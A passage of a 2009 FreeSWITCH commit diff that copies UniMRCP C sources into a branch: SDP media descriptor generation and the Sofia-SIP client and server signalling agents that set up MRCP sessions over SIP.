+				"a=cmid:%d\r\n",
+				control_media->port,
+				proto ? proto->buf : "",
+				control_media->session_id.buf,
+				control_media->resource_name.buf,
+				control_media->cmid);
+		}
+	}
+
+	return offset;
+}
+
+/** Generate RTP media descriptor by SDP media */
+static apt_bool_t mpf_rtp_media_generate(mpf_rtp_media_descriptor_t *rtp_media, const sdp_media_t *sdp_media, const apt_str_t *ip, apr_pool_t *pool)
+{
+	mpf_rtp_attrib_e id;
+	apt_str_t name;
+	sdp_attribute_t *attrib = NULL;
+	sdp_rtpmap_t *map;
+	mpf_codec_descriptor_t *codec;
+	for(attrib = sdp_media->m_attributes; attrib; attrib=attrib->a_next) {
+		apt_string_set(&name,attrib->a_name);
+		id = mpf_rtp_attrib_id_find(&name);
+		switch(id) {
+			case RTP_ATTRIB_MID:
+				rtp_media->mid = atoi(attrib->a_value);
+				break;
+			case RTP_ATTRIB_PTIME:
+				rtp_media->ptime = (apr_uint16_t)atoi(attrib->a_value);
+				break;
+			default:
+				break;
+		}
+	}
+
+	mpf_codec_list_init(&rtp_media->codec_list,5,pool);
+	for(map = sdp_media->m_rtpmaps; map; map = map->rm_next) {
+		codec = mpf_codec_list_add(&rtp_media->codec_list);
+		if(codec) {
+			codec->payload_type = (apr_byte_t)map->rm_pt;
+			apt_string_assign(&codec->name,map->rm_encoding,pool);
+			codec->sampling_rate = (apr_uint16_t)map->rm_rate;
+			codec->channel_count = 1;
+		}
+	}
+
+	switch(sdp_media->m_mode) {
+		case sdp_inactive:
+			rtp_media->mode = STREAM_MODE_NONE;
+			break;
+		case sdp_sendonly:
+			rtp_media->mode = STREAM_MODE_SEND;
+			break;
+		case sdp_recvonly:
+			rtp_media->mode = STREAM_MODE_RECEIVE;
+			break;
+		case sdp_sendrecv:
+			rtp_media->mode = STREAM_MODE_SEND_RECEIVE;
+			break;
+	}
+
+	if(sdp_media->m_connections) {
+		apt_string_assign(&rtp_media->base.ip,sdp_media->m_connections->c_address,pool);
+	}
+	else {
+		rtp_media->base.ip = *ip;
+	}
+	if(sdp_media->m_port) {
+		rtp_media->base.port = (apr_port_t)sdp_media->m_port;
+		rtp_media->base.state = MPF_MEDIA_ENABLED;
+	}
+	else {
+		rtp_media->base.state = MPF_MEDIA_DISABLED;
+	}
+	return TRUE;
+}
+
+/** Generate MRCP control media by SDP media */
+static apt_bool_t mrcp_control_media_generate(mrcp_control_descriptor_t *control_media, const sdp_media_t *sdp_media, const apt_str_t *ip, apr_pool_t *pool)
+{
+	mrcp_attrib_e id;
+	apt_str_t name;
+	apt_str_t value;
+	sdp_attribute_t *attrib = NULL;
+	apt_string_set(&name,sdp_media->m_proto_name);
+	control_media->proto = mrcp_proto_find(&name);
+	if(control_media->proto != MRCP_PROTO_TCP) {
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Not supported SDP Proto [%s], expected [%s]",sdp_media->m_proto_name,mrcp_proto_get(MRCP_PROTO_TCP));
+		return FALSE;
+	}
+	
+	for(attrib = sdp_media->m_attributes; attrib; attrib=attrib->a_next) {
+		apt_string_set(&name,attrib->a_name);
+		id = mrcp_attrib_id_find(&name);
+		switch(id) {
+			case MRCP_ATTRIB_SETUP:
+				apt_string_set(&value,attrib->a_value);
+				control_media->setup_type = mrcp_setup_type_find(&value);
+				break;
+			case MRCP_ATTRIB_CONNECTION:
+				apt_string_set(&value,attrib->a_value);
+				control_media->connection_type = mrcp_connection_type_find(&value);
+				break;
+			case MRCP_ATTRIB_RESOURCE:
+				apt_string_assign(&control_media->resource_name,attrib->a_value,pool);
+				break;
+			case MRCP_ATTRIB_CHANNEL:
+				apt_string_set(&value,attrib->a_value);
+				apt_id_resource_parse(&value,'@',&control_media->session_id,&control_media->resource_name,pool);
+				break;
+			case MRCP_ATTRIB_CMID:
+				control_media->cmid = atoi(attrib->a_value);
+				break;
+			default:
+				break;
+		}
+	}
+
+	if(sdp_media->m_connections) {
+		apt_string_assign(&control_media->ip,sdp_media->m_connections->c_address,pool);
+	}
+	else {
+		control_media->ip = *ip;
+	}
+	control_media->port = (apr_port_t)sdp_media->m_port;
+	return TRUE;
+}
+
+/** Generate SDP resource discovery string */
+MRCP_DECLARE(apr_size_t) sdp_resource_discovery_string_generate(const char *ip, const char *origin, char *buffer, apr_size_t size)
+{
+	apr_size_t offset = 0;
+	if(!ip) {
+		ip = "0.0.0.0";
+	}
+	if(!origin) {
+		origin = "-";
+	}
+	buffer[0] = '\0';
+	offset += snprintf(buffer+offset,size-offset,
+			"v=0\r\n"
+			"o=%s 0 0 IN IP4 %s\r\n"
+			"s=-\r\n"
+			"c=IN IP4 %s\r\n"
+			"t=0 0\r\n"
+			"m=application 0 TCP/MRCPv2 1\r\n"
+			"a=resource:speechsynth\r\n"
+			"a=resource:speechrecog\r\n"
+			"m=audio 0 RTP/AVP 0 8\r\n"
+			"a=rtpmap:0 PCMU/8000\r\n"
+			"a=rtpmap:8 PCMA/8000\r\n",
+			origin,
+			ip,
+			ip);
+	return offset;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/src/mrcp_sofiasip_client_agent.c

Copied: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/src/mrcp_sofiasip_client_agent.c (from rev 14471, freeswitch/trunk/libs/unimrcp/modules/mrcp-sofiasip/src/mrcp_sofiasip_client_agent.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/src/mrcp_sofiasip_client_agent.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/src/mrcp_sofiasip_client_agent.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,530 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+typedef struct mrcp_sofia_agent_t mrcp_sofia_agent_t;
+#define NUA_MAGIC_T mrcp_sofia_agent_t
+
+typedef struct mrcp_sofia_session_t mrcp_sofia_session_t;
+#define NUA_HMAGIC_T mrcp_sofia_session_t
+
+#include <sofia-sip/su.h>
+#include <sofia-sip/nua.h>
+#include <sofia-sip/sip_status.h>
+#include <sofia-sip/sdp.h>
+#include <sofia-sip/sofia_features.h>
+#undef strcasecmp
+#undef strncasecmp
+#include <apr_general.h>
+
+#include "mrcp_sofiasip_client_agent.h"
+#include "mrcp_session.h"
+#include "mrcp_session_descriptor.h"
+#include "mrcp_sdp.h"
+#include "apt_log.h"
+
+#define SOFIA_TASK_NAME "SofiaSIP Agent"
+
+struct mrcp_sofia_agent_t {
+	mrcp_sig_agent_t           *sig_agent;
+
+	mrcp_sofia_client_config_t *config;
+	char                       *sip_contact_str;
+	char                       *sip_to_str;
+	char                       *sip_from_str;
+	char                       *sip_bind_str;
+
+	su_root_t                  *root;
+	nua_t                      *nua;
+};
+
+struct mrcp_sofia_session_t {
+	mrcp_session_t     *session;
+	su_home_t          *home;
+	nua_handle_t       *nh;
+
+	apt_bool_t          terminate_requested;
+	apr_thread_mutex_t *mutex;
+};
+
+/* Task Interface */
+static void mrcp_sofia_task_initialize(apt_task_t *task);
+static apt_bool_t mrcp_sofia_task_run(apt_task_t *task);
+static apt_bool_t mrcp_sofia_task_terminate(apt_task_t *task);
+
+/* MRCP Signaling Interface */
+static apt_bool_t mrcp_sofia_session_offer(mrcp_session_t *session, mrcp_session_descriptor_t *descriptor);
+static apt_bool_t mrcp_sofia_session_terminate_request(mrcp_session_t *session);
+static apt_bool_t mrcp_sofia_session_discover_request(mrcp_session_t *session, mrcp_session_descriptor_t *descriptor);
+
+static const mrcp_session_request_vtable_t session_request_vtable = {
+	mrcp_sofia_session_offer,
+	mrcp_sofia_session_terminate_request,
+	NULL,
+	mrcp_sofia_session_discover_request
+};
+
+static apt_bool_t mrcp_sofia_config_validate(mrcp_sofia_agent_t *sofia_agent, mrcp_sofia_client_config_t *config, apr_pool_t *pool);
+static apt_bool_t mrcp_sofia_session_create(mrcp_session_t *session);
+
+static void mrcp_sofia_event_callback( nua_event_t           nua_event,
+									   int                   status,
+									   char const           *phrase,
+									   nua_t                *nua,
+									   mrcp_sofia_agent_t   *sofia_agent,
+									   nua_handle_t         *nh,
+									   mrcp_sofia_session_t *sofia_session,
+									   sip_t const          *sip,
+									   tagi_t                tags[]);
+
+
+/** Create Sofia-SIP Signaling Agent */
+MRCP_DECLARE(mrcp_sig_agent_t*) mrcp_sofiasip_client_agent_create(mrcp_sofia_client_config_t *config, apr_pool_t *pool)
+{
+	apt_task_t *task;
+	apt_task_vtable_t *vtable;
+	mrcp_sofia_agent_t *sofia_agent;
+	sofia_agent = apr_palloc(pool,sizeof(mrcp_sofia_agent_t));
+	sofia_agent->sig_agent = mrcp_signaling_agent_create(sofia_agent,MRCP_VERSION_2,pool);
+	sofia_agent->sig_agent->create_client_session = mrcp_sofia_session_create;
+	sofia_agent->root = NULL;
+	sofia_agent->nua = NULL;
+
+	if(mrcp_sofia_config_validate(sofia_agent,config,pool) == FALSE) {
+		return NULL;
+	}
+
+	task = apt_task_create(sofia_agent,NULL,pool);
+	if(!task) {
+		return NULL;
+	}
+	apt_task_name_set(task,SOFIA_TASK_NAME);
+	vtable = apt_task_vtable_get(task);
+	if(vtable) {
+		vtable->on_pre_run = mrcp_sofia_task_initialize;
+		vtable->run = mrcp_sofia_task_run;
+		vtable->terminate = mrcp_sofia_task_terminate;
+	}
+	sofia_agent->sig_agent->task = task;
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Create "SOFIA_TASK_NAME" ["SOFIA_SIP_VERSION"] %s:%hu -> %s:%hu %s",
+			config->local_ip,config->local_port,
+			config->remote_ip,config->remote_port,
+			config->transport ? config->transport : "");
+	return sofia_agent->sig_agent;
+}
+
+/** Allocate Sofia-SIP config */
+MRCP_DECLARE(mrcp_sofia_client_config_t*) mrcp_sofiasip_client_config_alloc(apr_pool_t *pool)
+{
+	mrcp_sofia_client_config_t *config = apr_palloc(pool,sizeof(mrcp_sofia_client_config_t));
+	config->local_ip = NULL;
+	config->ext_ip = NULL;
+	config->local_port = 0;
+	config->local_user_name = NULL;
+	config->remote_ip = NULL;
+	config->remote_port = 0;
+	config->remote_user_name = NULL;
+
+	config->force_destination = FALSE;
+	
+	config->user_agent_name = NULL;
+	config->origin = NULL;
+	config->transport = NULL;
+	return config;
+}
+
+static apt_bool_t mrcp_sofia_config_validate(mrcp_sofia_agent_t *sofia_agent, mrcp_sofia_client_config_t *config, apr_pool_t *pool)
+{
+	const char *local_ip = config->ext_ip ? config->ext_ip : config->local_ip;
+	if(!config->local_ip || !config->remote_ip) {
+		return FALSE;
+	}
+
+	sofia_agent->config = config;
+	sofia_agent->sip_contact_str = apr_psprintf(pool,"sip:%s:%d", local_ip, config->local_port);
+	sofia_agent->sip_from_str = apr_psprintf(pool,"sip:%s:%d", local_ip, config->local_port);
+
+	if(config->remote_user_name && config->remote_user_name != '\0') {
+		sofia_agent->sip_to_str = apr_psprintf(pool,"sip:%s@%s:%d",
+										config->remote_user_name,
+										config->remote_ip,
+										config->remote_port);
+	}
+	else {
+		sofia_agent->sip_to_str = apr_psprintf(pool,"sip:%s:%d",
+										config->remote_ip,
+										config->remote_port);
+	}
+	if(config->transport) {
+		sofia_agent->sip_bind_str = apr_psprintf(pool,"sip:%s:%d;transport=%s",
+										config->local_ip,
+										config->local_port,
+										config->transport);
+	}
+	else {
+		sofia_agent->sip_bind_str = apr_psprintf(pool,"sip:%s:%d",
+										config->local_ip,
+										config->local_port);
+	}
+	return TRUE;
+}
+
+static void mrcp_sofia_task_initialize(apt_task_t *task)
+{
+	mrcp_sofia_agent_t *sofia_agent = apt_task_object_get(task);
+
+	/* Initialize Sofia-SIP library and create event loop */
+	su_init();
+	sofia_agent->root = su_root_create(NULL);
+
+	/* Create a user agent instance. The stack will call the 'event_callback()' 
+	 * callback when events such as succesful registration to network, 
+	 * an incoming call, etc, occur. 
+	 */
+	sofia_agent->nua = nua_create(
+					sofia_agent->root,         /* Event loop */
+					mrcp_sofia_event_callback, /* Callback for processing events */
+					sofia_agent,               /* Additional data to pass to callback */
+					NUTAG_URL(sofia_agent->sip_bind_str), /* Address to bind to */
+					TAG_END());                /* Last tag should always finish the sequence */
+	if(sofia_agent->nua) {
+		nua_set_params(
+					sofia_agent->nua,
+					NUTAG_AUTOANSWER(0),
+					NUTAG_APPL_METHOD("OPTIONS"),
+					SIPTAG_USER_AGENT_STR(sofia_agent->config->user_agent_name),
+					TAG_END());
+	}
+}
+
+static apt_bool_t mrcp_sofia_task_run(apt_task_t *task)
+{
+	mrcp_sofia_agent_t *sofia_agent = apt_task_object_get(task);
+
+	if(sofia_agent->nua) {
+		/* Run event loop */
+		su_root_run(sofia_agent->root);
+		
+		/* Destroy allocated resources */
+		nua_destroy(sofia_agent->nua);
+		sofia_agent->nua = NULL;
+	}
+	su_root_destroy(sofia_agent->root);
+	sofia_agent->root = NULL;
+	su_deinit();
+
+	apt_task_child_terminate(task);
+	return TRUE;
+}
+
+static apt_bool_t mrcp_sofia_task_terminate(apt_task_t *task)
+{
+	mrcp_sofia_agent_t *sofia_agent = apt_task_object_get(task);
+	if(sofia_agent->nua) {
+		apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Send Shutdown Signal to NUA");
+		nua_shutdown(sofia_agent->nua);
+	}
+	return TRUE;
+}
+
+static APR_INLINE mrcp_sofia_agent_t* mrcp_sofia_agent_get(mrcp_session_t *session)
+{
+	return session->signaling_agent->obj;
+}
+
+static apt_bool_t mrcp_sofia_session_create(mrcp_session_t *session)
+{
+	mrcp_sofia_agent_t *sofia_agent = mrcp_sofia_agent_get(session);
+	mrcp_sofia_session_t *sofia_session;
+	session->request_vtable = &session_request_vtable;
+
+	sofia_session = apr_palloc(session->pool,sizeof(mrcp_sofia_session_t));
+	sofia_session->mutex = NULL;
+	sofia_session->home = su_home_new(sizeof(*sofia_session->home));
+	sofia_session->session = session;
+	sofia_session->terminate_requested = FALSE;
+	session->obj = sofia_session;
+	
+	sofia_session->nh = nua_handle(
+				sofia_agent->nua,
+				sofia_session,
+				SIPTAG_TO_STR(sofia_agent->sip_to_str),
+				SIPTAG_FROM_STR(sofia_agent->sip_from_str),
+				SIPTAG_CONTACT_STR(sofia_agent->sip_contact_str),
+				TAG_END());
+
+	apr_thread_mutex_create(&sofia_session->mutex,APR_THREAD_MUTEX_DEFAULT,session->pool);
+	return TRUE;
+}
+
+static apt_bool_t mrcp_sofia_session_destroy(mrcp_sofia_session_t *sofia_session)
+{
+	if(sofia_session->mutex) {
+		apr_thread_mutex_destroy(sofia_session->mutex);
+		sofia_session->mutex = NULL;
+	}
+	if(sofia_session->home) {
+		su_home_unref(sofia_session->home);
+		sofia_session->home = NULL;
+	}
+	return TRUE;
+}
+
+static apt_bool_t mrcp_sofia_session_unref(mrcp_sofia_session_t *sofia_session)
+{
+	if(sofia_session->nh) {
+		nua_handle_bind(sofia_session->nh, NULL);
+		nua_handle_destroy(sofia_session->nh);
+		sofia_session->nh = NULL;
+	}
+	sofia_session->session = NULL;
+	return TRUE;
+}
+
+static apt_bool_t mrcp_sofia_session_offer(mrcp_session_t *session, mrcp_session_descriptor_t *descriptor)
+{
+	char sdp_str[2048];
+	char *local_sdp_str = NULL;
+	apt_bool_t res = FALSE;
+	mrcp_sofia_session_t *sofia_session = session->obj;
+	if(!sofia_session) {
+		return FALSE;
+	}
+
+	if(session->signaling_agent) {
+		mrcp_sofia_agent_t *sofia_agent = mrcp_sofia_agent_get(session);
+		if(sofia_agent) {
+			if(sofia_agent->config->origin) {
+				apt_string_set(&descriptor->origin,sofia_agent->config->origin);
+			}
+		}
+	}
+	if(sdp_string_generate_by_mrcp_descriptor(sdp_str,sizeof(sdp_str),descriptor,TRUE) > 0) {
+		local_sdp_str = sdp_str;
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Local SDP "APT_PTRSID_FMT"\n%s", 
+			MRCP_SESSION_PTRSID(session), 
+			local_sdp_str);
+	}
+
+	apr_thread_mutex_lock(sofia_session->mutex);
+
+	if(sofia_session->nh) {
+		res = TRUE;
+		nua_invite(sofia_session->nh,
+				TAG_IF(local_sdp_str,SOATAG_USER_SDP_STR(local_sdp_str)),
+				TAG_END());
+	}
+
+	apr_thread_mutex_unlock(sofia_session->mutex);
+	return res;
+}
+
+static apt_bool_t mrcp_sofia_session_terminate_request(mrcp_session_t *session)
+{
+	mrcp_sofia_session_t *sofia_session = session->obj;
+	if(!sofia_session) {
+		return FALSE;
+	}
+
+	sofia_session->terminate_requested = FALSE;
+	apr_thread_mutex_lock(sofia_session->mutex);
+	if(sofia_session->nh) {
+		sofia_session->terminate_requested = TRUE;
+		nua_bye(sofia_session->nh,TAG_END());
+	}
+	apr_thread_mutex_unlock(sofia_session->mutex);
+
+	if(sofia_session->terminate_requested == FALSE) {
+		mrcp_sofia_session_destroy(sofia_session);
+		mrcp_session_terminate_response(session);
+	}
+	return TRUE;
+}
+
+static apt_bool_t mrcp_sofia_session_discover_request(mrcp_session_t *session, mrcp_session_descriptor_t *descriptor)
+{
+	apt_bool_t res = FALSE;
+	mrcp_sofia_session_t *sofia_session = session->obj;
+	if(!sofia_session) {
+		return FALSE;
+	}
+	
+	apr_thread_mutex_lock(sofia_session->mutex);
+	if(sofia_session->nh) {
+		res = TRUE;
+		nua_options(sofia_session->nh,TAG_END());
+	}
+	apr_thread_mutex_unlock(sofia_session->mutex);
+	return res;
+}
+
+static void mrcp_sofia_on_session_ready(
+						int                   status,
+						mrcp_sofia_agent_t   *sofia_agent,
+						nua_handle_t         *nh,
+						mrcp_sofia_session_t *sofia_session,
+						sip_t const          *sip,
+						tagi_t                tags[])
+{
+	mrcp_session_t *session = sofia_session->session;
+	if(session) {
+		const char *local_sdp_str = NULL, *remote_sdp_str = NULL;
+		mrcp_session_descriptor_t *descriptor = NULL;
+
+		tl_gets(tags, 
+				SOATAG_LOCAL_SDP_STR_REF(local_sdp_str),
+				SOATAG_REMOTE_SDP_STR_REF(remote_sdp_str),
+				TAG_END());
+
+		if(remote_sdp_str) {
+			sdp_parser_t *parser = NULL;
+			sdp_session_t *sdp = NULL;
+			const char *force_destination_ip = NULL;
+			apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Remote SDP "APT_PTRSID_FMT"\n%s",
+				MRCP_SESSION_PTRSID(session),
+				remote_sdp_str);
+
+			parser = sdp_parse(sofia_session->home,remote_sdp_str,(int)strlen(remote_sdp_str),0);
+			sdp = sdp_session(parser);
+			if(sofia_agent && sofia_agent->config->force_destination == TRUE) {
+				force_destination_ip = sofia_agent->config->remote_ip;
+			}
+			descriptor = mrcp_descriptor_generate_by_sdp_session(sdp,force_destination_ip,session->pool);
+			sdp_parser_free(parser);
+		}
+
+		mrcp_session_answer(session,descriptor);
+	}
+}
+
+static void mrcp_sofia_on_session_terminate(
+						int                   status,
+						mrcp_sofia_agent_t   *sofia_agent,
+						nua_handle_t         *nh,
+						mrcp_sofia_session_t *sofia_session,
+						sip_t const          *sip,
+						tagi_t                tags[])
+{
+	mrcp_session_t *session = sofia_session->session;
+	if(session) {
+		apt_bool_t terminate_requested;
+	
+		apr_thread_mutex_lock(sofia_session->mutex);
+		terminate_requested = sofia_session->terminate_requested;
+		session = sofia_session->session;
+		mrcp_sofia_session_unref(sofia_session);
+		apr_thread_mutex_unlock(sofia_session->mutex);
+
+		if(terminate_requested == TRUE) {
+			mrcp_sofia_session_destroy(sofia_session);
+			mrcp_session_terminate_response(session);
+		}
+		else {
+			mrcp_session_terminate_event(session);
+		}
+	}
+}
+
+static void mrcp_sofia_on_state_change(
+						int                   status,
+						mrcp_sofia_agent_t   *sofia_agent,
+						nua_handle_t         *nh,
+						mrcp_sofia_session_t *sofia_session,
+						sip_t const          *sip,
+						tagi_t                tags[])
+{
+	int ss_state = nua_callstate_init;
+	tl_gets(tags,
+			NUTAG_CALLSTATE_REF(ss_state),
+			TAG_END());
+	
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"SIP Call State "APT_PTR_FMT" [%s]",
+		sofia_session ? MRCP_SESSION_PTR(sofia_session->session) : NULL,
+		nua_callstate_name(ss_state));
+
+	switch(ss_state) {
+		case nua_callstate_ready:
+			mrcp_sofia_on_session_ready(status,sofia_agent,nh,sofia_session,sip,tags);
+			break;
+		case nua_callstate_terminated:
+			mrcp_sofia_on_session_terminate(status,sofia_agent,nh,sofia_session,sip,tags);
+			break;
+	}
+}
+
+static void mrcp_sofia_on_resource_discover(
+						int                   status,
+						mrcp_sofia_agent_t   *sofia_agent,
+						nua_handle_t         *nh,
+						mrcp_sofia_session_t *sofia_session,
+						sip_t const          *sip,
+						tagi_t                tags[])
+{
+	mrcp_session_t *session = sofia_session->session;
+	if(session) {
+		const char *remote_sdp_str = NULL;
+		mrcp_session_descriptor_t *descriptor = NULL;
+
+		tl_gets(tags, 
+				SOATAG_REMOTE_SDP_STR_REF(remote_sdp_str),
+				TAG_END());
+
+		if(remote_sdp_str) {
+			sdp_parser_t *parser = NULL;
+			sdp_session_t *sdp = NULL;
+			apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Resource Discovery SDP "APT_PTR_FMT"\n%s", 
+				MRCP_SESSION_PTR(session),
+				remote_sdp_str);
+
+			parser = sdp_parse(sofia_session->home,remote_sdp_str,(int)strlen(remote_sdp_str),0);
+			sdp = sdp_session(parser);
+			descriptor = mrcp_descriptor_generate_by_sdp_session(sdp,NULL,session->pool);
+			sdp_parser_free(parser);
+		}
+
+		mrcp_session_discover_response(session,descriptor);
+	}
+}
+
+/** This callback will be called by SIP stack to process incoming events */
+static void mrcp_sofia_event_callback( 
+						nua_event_t           nua_event,
+						int                   status,
+						char const           *phrase,
+						nua_t                *nua,
+						mrcp_sofia_agent_t   *sofia_agent,
+						nua_handle_t         *nh,
+						mrcp_sofia_session_t *sofia_session,
+						sip_t const          *sip,
+						tagi_t                tags[])
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Receive SIP Event [%s] Status %d %s",
+		nua_event_name(nua_event),status,phrase);
+
+	switch(nua_event) {
+		case nua_i_state:
+			mrcp_sofia_on_state_change(status,sofia_agent,nh,sofia_session,sip,tags);
+			break;
+		case nua_r_options:
+			mrcp_sofia_on_resource_discover(status,sofia_agent,nh,sofia_session,sip,tags);
+			break;
+		case nua_r_shutdown:
+			/* break main loop of sofia thread */
+			su_root_break(sofia_agent->root);
+			break;
+		default: 
+			break;
+	}
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/src/mrcp_sofiasip_server_agent.c

Copied: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/src/mrcp_sofiasip_server_agent.c (from rev 14471, freeswitch/trunk/libs/unimrcp/modules/mrcp-sofiasip/src/mrcp_sofiasip_server_agent.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/src/mrcp_sofiasip_server_agent.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/src/mrcp_sofiasip_server_agent.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,436 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+typedef struct mrcp_sofia_agent_t mrcp_sofia_agent_t;
+#define NUA_MAGIC_T mrcp_sofia_agent_t
+
+typedef struct mrcp_sofia_session_t mrcp_sofia_session_t;
+#define NUA_HMAGIC_T mrcp_sofia_session_t
+
+#include <sofia-sip/su.h>
+#include <sofia-sip/nua.h>
+#include <sofia-sip/sip_status.h>
+#include <sofia-sip/sdp.h>
+#include <sofia-sip/sofia_features.h>
+#undef strcasecmp
+#undef strncasecmp
+#include <apr_general.h>
+
+#include "mrcp_sofiasip_server_agent.h"
+#include "mrcp_session.h"
+#include "mrcp_session_descriptor.h"
+#include "mrcp_sdp.h"
+#include "apt_log.h"
+
+#define SOFIA_TASK_NAME "SofiaSIP Agent"
+
+struct mrcp_sofia_agent_t {
+	mrcp_sig_agent_t           *sig_agent;
+
+	mrcp_sofia_server_config_t *config;
+	char                       *sip_contact_str;
+	char                       *sip_bind_str;
+
+	su_root_t                  *root;
+	nua_t                      *nua;
+};
+
+struct mrcp_sofia_session_t {
+	mrcp_session_t *session;
+	su_home_t      *home;
+	nua_handle_t   *nh;
+};
+
+/* Task Interface */
+static void mrcp_sofia_task_initialize(apt_task_t *task);
+static apt_bool_t mrcp_sofia_task_run(apt_task_t *task);
+static apt_bool_t mrcp_sofia_task_terminate(apt_task_t *task);
+
+/* MRCP Signaling Interface */
+static apt_bool_t mrcp_sofia_on_session_answer(mrcp_session_t *session, mrcp_session_descriptor_t *descriptor);
+static apt_bool_t mrcp_sofia_on_session_terminate(mrcp_session_t *session);
+
+static const mrcp_session_response_vtable_t session_response_vtable = {
+	mrcp_sofia_on_session_answer,
+	mrcp_sofia_on_session_terminate
+};
+
+static apt_bool_t mrcp_sofia_config_validate(mrcp_sofia_agent_t *sofia_agent, mrcp_sofia_server_config_t *config, apr_pool_t *pool);
+
+static void mrcp_sofia_event_callback( nua_event_t           nua_event,
+									   int                   status,
+									   char const           *phrase,
+									   nua_t                *nua,
+									   mrcp_sofia_agent_t   *sofia_agent,
+									   nua_handle_t         *nh,
+									   mrcp_sofia_session_t *sofia_session,
+									   sip_t const          *sip,
+									   tagi_t                tags[]);
+
+
+/** Create Sofia-SIP Signaling Agent */
+MRCP_DECLARE(mrcp_sig_agent_t*) mrcp_sofiasip_server_agent_create(mrcp_sofia_server_config_t *config, apr_pool_t *pool)
+{
+	apt_task_t *task;
+	apt_task_vtable_t *vtable;
+	mrcp_sofia_agent_t *sofia_agent;
+	sofia_agent = apr_palloc(pool,sizeof(mrcp_sofia_agent_t));
+	sofia_agent->sig_agent = mrcp_signaling_agent_create(sofia_agent,MRCP_VERSION_2,pool);
+	sofia_agent->config = config;
+	sofia_agent->root = NULL;
+	sofia_agent->nua = NULL;
+
+	if(mrcp_sofia_config_validate(sofia_agent,config,pool) == FALSE) {
+		return NULL;
+	}
+
+	task = apt_task_create(sofia_agent,NULL,pool);
+	if(!task) {
+		return NULL;
+	}
+	apt_task_name_set(task,SOFIA_TASK_NAME);
+	vtable = apt_task_vtable_get(task);
+	if(vtable) {
+		vtable->on_pre_run = mrcp_sofia_task_initialize;
+		vtable->run = mrcp_sofia_task_run;
+		vtable->terminate = mrcp_sofia_task_terminate;
+	}
+	sofia_agent->sig_agent->task = task;
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Create "SOFIA_TASK_NAME" ["SOFIA_SIP_VERSION"] %s:%hu %s",
+								config->local_ip,
+								config->local_port,
+								config->transport ? config->transport : "");
+	return sofia_agent->sig_agent;
+}
+
+/** Allocate Sofia-SIP config */
+MRCP_DECLARE(mrcp_sofia_server_config_t*) mrcp_sofiasip_server_config_alloc(apr_pool_t *pool)
+{
+	mrcp_sofia_server_config_t *config = apr_palloc(pool,sizeof(mrcp_sofia_server_config_t));
+	config->local_ip = NULL;
+	config->ext_ip = NULL;
+	config->local_port = 0;
+	config->user_name = NULL;
+	config->user_agent_name = NULL;
+	config->origin = NULL;
+	config->transport = NULL;
+	config->force_destination = FALSE;
+	return config;
+}
+
+static apt_bool_t mrcp_sofia_config_validate(mrcp_sofia_agent_t *sofia_agent, mrcp_sofia_server_config_t *config, apr_pool_t *pool)
+{
+	const char *local_ip = config->ext_ip ? config->ext_ip : config->local_ip;
+	sofia_agent->config = config;
+	sofia_agent->sip_contact_str = apr_psprintf(pool,"sip:%s:%d",local_ip,config->local_port);
+	if(config->transport) {
+		sofia_agent->sip_bind_str = apr_psprintf(pool,"sip:%s:%d;transport=%s",
+											config->local_ip,
+											config->local_port,
+											config->transport);
+	}
+	else {
+		sofia_agent->sip_bind_str = apr_psprintf(pool,"sip:%s:%d",
+											config->local_ip,
+											config->local_port);
+	}
+	return TRUE;
+}
+
+static void mrcp_sofia_task_initialize(apt_task_t *task)
+{
+	mrcp_sofia_agent_t *sofia_agent = apt_task_object_get(task);
+
+	/* Initialize Sofia-SIP library and create event loop */
+	su_init();
+	sofia_agent->root = su_root_create(NULL);
+
+	/* Create a user agent instance. The stack will call the 'event_callback()' 
+	 * callback when events such as succesful registration to network, 
+	 * an incoming call, etc, occur. 
+	 */
+	sofia_agent->nua = nua_create(
+					sofia_agent->root,         /* Event loop */
+					mrcp_sofia_event_callback, /* Callback for processing events */
+					sofia_agent,               /* Additional data to pass to callback */
+					NUTAG_URL(sofia_agent->sip_bind_str), /* Address to bind to */
+					TAG_END());                /* Last tag should always finish the sequence */
+	if(sofia_agent->nua) {
+		nua_set_params(
+					sofia_agent->nua,
+					NUTAG_AUTOANSWER(0),
+					NUTAG_APPL_METHOD("OPTIONS"),
+					SIPTAG_USER_AGENT_STR(sofia_agent->config->user_agent_name),
+					TAG_END());
+	}
+}
+
